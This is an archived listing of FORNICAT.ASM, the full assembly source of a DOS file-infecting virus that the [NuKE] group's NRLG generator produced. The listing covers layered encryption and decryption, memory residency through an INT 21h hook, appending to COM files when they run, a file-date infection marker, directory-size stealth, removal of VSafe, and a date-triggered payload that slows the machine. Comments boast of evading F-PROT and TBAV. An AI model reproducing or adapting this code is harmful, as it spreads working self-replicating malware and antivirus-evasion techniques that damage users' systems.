home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-F.ZIP / FORNICAT.ASM < prev    next >
Assembly Source File  |  1996-05-19  |  24KB  |  491 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  xor word ptr [di],0fbfbh
  36. add byte ptr [di],087h
  37. add word ptr [di],0c574h
  38. add byte ptr [di],0b8h
  39. sub word ptr [di],04d33h
  40. sub byte ptr [di],0b2h
  41. sub word ptr [di],0279h
  42. sub word ptr [di],01bc5h
  43. sub word ptr [di],01a8ah
  44. add word ptr [di],0d649h
  45. add byte ptr [di],0b4h
  46. xor byte ptr [di],0cch
  47. sub byte ptr [di],089h
  48. inc word ptr [di]
  49. xor byte ptr [di],098h
  50. not word ptr [di] 
  51.  inc di
  52. inc di
  53. ;----------------------------------------------------------                                                
  54. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  55. mov ah,4ch
  56. int 21h
  57. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  58. ;-----------------------------------------------------------                               
  59. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  60. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  61. ;----------------------------------------------------------                                   
  62. loop deci                    ;repeat please!               
  63.                              ;           
  64. ;*****************************************************************
  65. ;                   #2 DECRYPT ROUTINE                                                    
  66. ;*****************************************************************
  67.                               ;    
  68. crypt:                        ;fuck label!                  
  69.                               ;                
  70. mov cx,offset fin             ;cx = large of virus                 
  71. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  72. ;---------------------------------------------------------------                                              
  73. deci2:                        ;              
  74. xor byte ptr cs:[di],1        ;decrytion rutine          
  75. inc di                        ;very simple...            
  76. loop deci2                    ;           
  77. ;---------------------------------------------------------------
  78. crypt2:                       ;fuck label!          
  79.                               ;                  
  80. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  81. INT 21H                       ;for chek "I'm is residet?"   
  82. CMP Bh,0CAH                   ;is equal to CACA?
  83. JE PUM2                       ;yes! jump to runnig program
  84. call action
  85. ;*****************************************************************
  86. ; NRLG FUNCTIONS  (SELECTABLE)
  87. ;*****************************************************************
  88.  
  89.  call ANTI_V
  90. ;****************************************************************
  91. ;               PROCESS TO REMAIN RESIDENT                                                                  
  92. ;****************************************************************   
  93.  
  94. mov   ax,3521h                  
  95. int   21h                        ;store the int 21 vectors 
  96. mov   word ptr [bp+int21],bx     ;in cs:int21
  97. mov   word ptr [bp+int21+2],es   ;
  98. ;---------------------------------------------------------------
  99. push cs                          ; 
  100. pop ax                           ;ax = my actual segment                             
  101. dec ax                           ;dec my segment for look my MCB
  102. mov es,ax                        ;
  103. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  104. ;---------------------------------------------------------------
  105. push cs                          ;   
  106. pop es                           ;   
  107. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  108. sub bx,17 + offset fin           ;and 100H for the PSP total
  109. mov ah,4ah                       ;used memory
  110. int 21h                          ;put the new value to MCB
  111. ;---------------------------------------------------------------
  112. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  113. mov ah,48h                      ;                              
  114. int 21h                         ;request the memory to fuck DOS!                                                 
  115. ;---------------------------------------------------------------
  116. dec ax                          ;ax=new segment 
  117. mov es,ax                       ;ax-1= new segment MCB 
  118. mov byte ptr es:[1],8           ;put '8' in the segment
  119. ;--------------------------------------------------------------                                
  120. inc ax                          ; 
  121. mov es,ax                       ;es = new segment
  122. lea si,[bp + offset start]      ;si = start of virus 
  123. mov di,100h                     ;di = 100H (psp position) 
  124. mov cx,offset fin - start       ;cx = lag of virus
  125. push cs                         ;
  126. pop ds                          ;ds = cs
  127. cld                             ;mov the code
  128. rep movsb                       ;ds:si >> es:di
  129. ;--------------------------------------------------------------
  130. mov dx,offset virus             ;dx = new int21 handler
  131. mov ax,2521h                    ;
  132. push es                         ; 
  133. pop ds                          ; 
  134. int 21h                         ;set the vectors 
  135. ;-------------------------------------------------------------
  136. pum2:                               ;  
  137.                                     ; 
  138. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  139. mov byte ptr cs:[100h],ah           ;first bytes  
  140. mov ax,word ptr [cs:bp + real + 1]  ;
  141. mov word ptr cs:[101h],ax           ;
  142. ;-------------------------------------------------------------
  143. mov ax,100h                         ;
  144. jmp ax                              ;jmp to execute
  145.                                     ;
  146. ;*****************************************************************
  147. ;*             HANDLER FOR THE INT 21H                                       
  148. ;*****************************************************************
  149.                           ;          
  150. VIRUS:                    ;  
  151.                           ;     
  152. cmp ah,4bh                ;is a 4b function? 
  153. je REPRODUCCION           ;yes! jump to reproduce !
  154. cmp ah,11h
  155. je dir
  156. cmp ah,12h
  157. je dir
  158. dirsal:
  159. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  160. jne a3                    ;no! jump to a3
  161. mov bh,0cah               ;yes! put ca in bh
  162. a3:                       ;
  163. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  164. ret                       ;    
  165. make db 'FORNICAT by [NRLG]'
  166. dir:
  167. jmp dir_s
  168. ;-------------------------------------------------------------
  169. REPRODUCCION:              ;       
  170.                            ;
  171. pushf                      ;put the register
  172. pusha                      ;in the stack
  173. push si                    ;
  174. push di                    ;
  175. push bp                    ;
  176. push es                    ;
  177. push ds                    ;
  178. ;-------------------------------------------------------------
  179. push cs                    ;  
  180. pop ds                     ;  
  181. mov ax,3524H               ;get the dos error control                      
  182. int 21h                    ;interupt                        
  183. mov word ptr error,es      ;and put in cs:error                      
  184. mov word ptr error+2,bx    ;            
  185. mov ax,2524H               ;change the dos error control                    
  186. mov dx,offset all          ;for my "trap mask"                      
  187. int 21h                    ;         
  188. ;-------------------------------------------------------------
  189. pop ds                     ;
  190. pop es                     ;restore the registers
  191. pop bp                     ;
  192. pop di                     ;
  193. pop si                     ;
  194. popa                       ;
  195. popf                       ;
  196. ;-------------------------------------------------------------
  197. pushf                      ;put the registers
  198. pusha                      ;     
  199. push si                    ;HEY! AZRAEL IS CRAZY?
  200. push di                    ;PUSH, POP, PUSH, POP
  201. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  202. push es                    ;PURIFY THIS SHIT!
  203. push ds                    ;
  204. ;-------------------------------------------------------------
  205. mov ax,4300h                 ;       
  206. int 21h                      ;get the file     
  207. mov word ptr cs:[attrib],cx  ;atributes   
  208. ;-------------------------------------------------------------
  209. mov ax,4301h                 ;le saco los atributos al        
  210. xor cx,cx                    ;file 
  211. int 21h                      ;
  212. ;-------------------------------------------------------------  
  213. mov ax,3d02h                 ;open the file 
  214. int 21h                      ;for read/write
  215. mov bx,ax                    ;bx=handle
  216. ;-------------------------------------------------------------
  217. mov ax,5700h                ;     
  218. int 21h                     ;get the file date  
  219. mov word ptr cs:[hora],cx   ;put the hour    
  220. mov word ptr cs:[dia],dx    ;put the day    
  221. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  222. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  223. jne seguir                  ;yes! the file is infected!     
  224. jmp cerrar                  ;
  225. ;------------------------------------------------------------
  226. seguir:                     ;     
  227. mov ax,4202h                ;move the pointer to end
  228. call movedor                ;of the file
  229. ;------------------------------------------------------------
  230. push cs                     ;   
  231. pop ds                      ; 
  232. sub ax,3                    ;calculate the 
  233. mov word ptr [cs:largo],ax  ;jmp long
  234. ;-------------------------------------------------------------
  235. mov ax,04200h               ;move the pointer to  
  236. call movedor                ;start of file
  237. ;----------------------------------------------------------                                          
  238. push cs                     ;   
  239. pop ds                      ;read the 3 first bytes  
  240. mov ah,3fh                  ;                           
  241. mov cx,3                    ;
  242. lea dx,[cs:real]            ;put the bytes in cs:[real]
  243. int 21h                     ;
  244. ;----------------------------------------------------------                                          
  245. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  246. jne er1                         ;yes! is a EXE... fuckkk!
  247. ;----------------------------------------------------------
  248. jmp cerrar
  249. er1:
  250. ;----------------------------------------------------------                                          
  251. mov ax,4200h      ;move the pointer                               
  252. call movedor      ;to start fo file
  253. ;----------------------------------------------------------                                          
  254. push cs           ;       
  255. pop ds            ; 
  256. mov ah,40h        ;  
  257. mov cx,1          ;write the JMP
  258. lea dx,[cs:jump]  ;instruccion in the
  259. int 21h           ;fist byte of the file
  260. ;----------------------------------------------------------                                          
  261. mov ah,40h         ;write the value of jmp
  262. mov cx,2           ;in the file 
  263. lea dx,[cs:largo]  ; 
  264. int 21h            ;
  265. ;----------------------------------------------------------                                          
  266. mov ax,04202h      ;move the pointer to 
  267. call movedor       ;end of file
  268. ;----------------------------------------------------------                                          
  269. push cs                     ;        
  270. pop ds                      ;move the code  
  271. push cs                     ;of my virus      
  272. pop es                      ;to cs:end+50     
  273. cld                         ;for encrypt          
  274. mov si,100h                 ;    
  275. mov di,offset fin + 50      ;      
  276. mov cx,offset fin - 100h    ;        
  277. rep movsb                   ;      
  278. ;----------------------------------------------------------                                          
  279. mov cx,offset fin           
  280. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  281. enc:                              ;           
  282. xor byte ptr cs:[di],1            ;encrypt the virus              
  283. inc di                            ;code                   
  284. loop enc                          ;              
  285. ;---------------------------------------------------------
  286. mov cx,offset fin           
  287. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  288. mov dx,1
  289. enc2:                              ;           
  290.  
  291.  not word ptr [di]
  292. xor byte ptr [di],098h
  293. dec word ptr [di]
  294. add byte ptr [di],089h
  295. xor byte ptr [di],0cch
  296. sub byte ptr [di],0b4h
  297. sub word ptr [di],0d649h
  298. add word ptr [di],01a8ah
  299. add word ptr [di],01bc5h
  300. add word ptr [di],0279h
  301. add byte ptr [di],0b2h
  302. add word ptr [di],04d33h
  303. sub byte ptr [di],0b8h
  304. sub word ptr [di],0c574h
  305. sub byte ptr [di],087h
  306. xor word ptr [di],0fbfbh
  307.  inc di
  308. inc di                             ;the virus code                  
  309. loop enc2                          ;              
  310. ;--------------------------------------------
  311. mov ah,40h                       ;  
  312. mov cx,offset fin - offset start ;copy the virus              
  313. mov dx,offset fin + 50           ;to end of file
  314. int 21h                          ;
  315. ;----------------------------------------------------------                                          
  316. cerrar:                          ;
  317.                                  ;restore the       
  318. mov ax,5701h                     ;date and time    
  319. mov cx,word ptr cs:[hora]        ;file   
  320. mov dx,word ptr cs:[dia]         ;     
  321. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  322. int 21h                          ; 
  323. ;----------------------------------------------------------                                          
  324. mov ah,3eh                       ; 
  325. int 21h                          ;close the file
  326. ;----------------------------------------------------------                                          
  327. pop ds                           ;
  328. pop es                           ;restore the 
  329. pop bp                           ;registers
  330. pop di                           ; 
  331. pop si                           ;
  332. popa                             ;
  333. popf                             ;
  334. ;----------------------------------------------------------                                          
  335. pusha                           ;   
  336.                                 ;                                                             
  337. mov ax,4301h                    ;restores the atributes 
  338. mov cx,word ptr cs:[attrib]     ;of the file  
  339. int 21h                         ;   
  340.                                 ;
  341. popa                            ; 
  342. ;----------------------------------------------------------                                          
  343. pushf                           ;                           
  344. pusha                           ; 8-(  = f-prot                       
  345. push si                         ;                       
  346. push di                         ; 8-(  = tbav   
  347. push bp                         ;                       
  348. push es                         ; 8-)  = I'm                        
  349. push ds                         ;                              
  350. ;----------------------------------------------------------                                          
  351. mov ax,2524H                    ;                         
  352. lea bx,error                    ;restore the                         
  353. mov ds,bx                       ;errors handler      
  354. lea bx,error+2                  ;                         
  355. int 21h                         ;                       
  356. ;----------------------------------------------------------                                          
  357. pop ds                          ;
  358. pop es                          ;
  359. pop bp                          ;restore the 
  360. pop di                          ;resgisters
  361. pop si                          ;
  362. popa                            ;
  363. popf                            ;
  364. ;----------------------------------------------------------                                          
  365. JMP A3                          ;jmp to orig. INT 21
  366.                                 ;
  367. ;**********************************************************
  368. ;           SUBRUTINES AREA
  369. ;**********************************************************
  370.                                 ;
  371. movedor:                        ;   
  372.                                 ; 
  373. xor cx,cx                       ;use to move file pointer         
  374. xor dx,dx                       ;       
  375. int 21h                         ;        
  376. ret                             ;        
  377. ;----------------------------------------------------------                                          
  378. all:                            ;  
  379.                                 ; 
  380. XOR AL,AL                       ;use to set 
  381. iret                            ;error flag
  382.  
  383. ;***********************************************************
  384. ;         DATA AREA
  385. ;***********************************************************
  386. largo  dw  ?
  387. jump   db  0e9h
  388. real   db  0cdh,20h,0
  389. hora   dw  ?
  390. dia    dw  ?
  391. attrib dw  ?
  392. int21  dd  ?
  393. error  dd  ?
  394.  
  395.  ;---------------------------------
  396. action:                          ; 
  397. MOV AH,2AH                       ;        
  398. INT 21H                          ;get date           
  399. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  400. JE  cont                         ;nop! fuck ret          
  401. cmp byte ptr cs:[action_dia+bp],32  ;
  402. jne no_day                       ;
  403. cont:                            ; 
  404. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  405. je set                           ;
  406. cmp byte ptr cs:[action_mes+bp],13  ;
  407. jne NO_DAY                       ;nop! fuck ret           
  408. set:                             ; 
  409.         
  410. mov ax,351ch                     ;
  411. int 21h                          ;store the int 1ch vectors 
  412. mov word ptr [trampaint+bp],bx      ;in cs:trampaint
  413. mov word ptr [trampaint+2+bp],es    ;
  414. mov ax,251ch                     ;put the int 1ch (clock) vector     
  415. push cs                          ;   
  416. pop ds                           ;  
  417. mov dx,offset tardar             ;in offset tardar
  418. int 21h                          ;  
  419. mov dx,offset fin                ;
  420. int 27h                          ;main resident the code
  421. NO_DAY:                          ;             
  422. ret                              ;ret for program
  423. tardar:                          ;int 1c handler
  424. pushf                            ;
  425. pusha                            ;
  426. mov cx,0ffffh                    ;fuck loop for slow speed
  427. trampa:                          ;
  428. mov ax,ax                        ;
  429. loop trampa                      ;
  430. popa                             ;
  431. popf                             ;
  432. JMP dword ptr CS:[trampaint+bp]     ;jmp to original int 1ch
  433. ret                              ;
  434. trampaint  dd  ?                 ;
  435. ;--------------------------------;
  436.  
  437.  ;---------------------------------
  438. ANTI_V:                          ; 
  439. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  440. MOV DX,5945H                     ; 
  441. INT 21H                          ;           
  442. ret                              ;
  443. ;---------------------------------
  444.  
  445.  ;*****************************************************
  446. dir_s:                                                               
  447.              pushf                                                         
  448.              push    cs                                                    
  449.              call    a3                      ;Get file Stats                       
  450.              test    al,al                   ;Good FCB?                            
  451.              jnz     no_good                 ;nope                                 
  452.              push    ax                                                 
  453.              push    bx                                                    
  454.              push    es                                                    
  455.              mov     ah,51h                  ;Is this Undocmented? huh...          
  456.              int     21h                                                   
  457.              mov     es,bx                                                 
  458.              cmp     bx,es:[16h]                                           
  459.              jnz     not_infected                        
  460.              mov     bx,dx                                                 
  461.              mov     al,[bx]                                               
  462.              push    ax                                                    
  463.              mov     ah,2fh                   ;Get file DTA                         
  464.              int     21h                                                   
  465.              pop     ax                                                    
  466.              inc     al                                                    
  467.              jnz     fcb_okay                                              
  468.              add     bx,7h                                                 
  469. fcb_okay:    mov     ax,es:[bx+17h]                                   
  470.              and     ax,1fh                   ;UnMask Seconds Field                 
  471.              xor     al,byte ptr cs:fechad                                      
  472.              jnz     not_infected                                            
  473.              and     byte ptr es:[bx+17h],0e0h                            
  474.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  475.              sbb     es:[bx+1fh],ax                                        
  476. not_infected:pop     es                                                    
  477.              pop     bx                                                    
  478.              pop     ax                                                    
  479. no_good:     iret                                                          
  480. ;********************************************************************
  481. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  482. ;*********************************************************************
  483.  
  484.  action_dia Db 020H ;day for the action
  485. action_mes Db 04H ;month for the action
  486. FECHA DW 01eH ;Secon for mark
  487. FECHAd Db 01eH ;Secon for mark dir st
  488. fin:
  489. code ends
  490. end start
  491.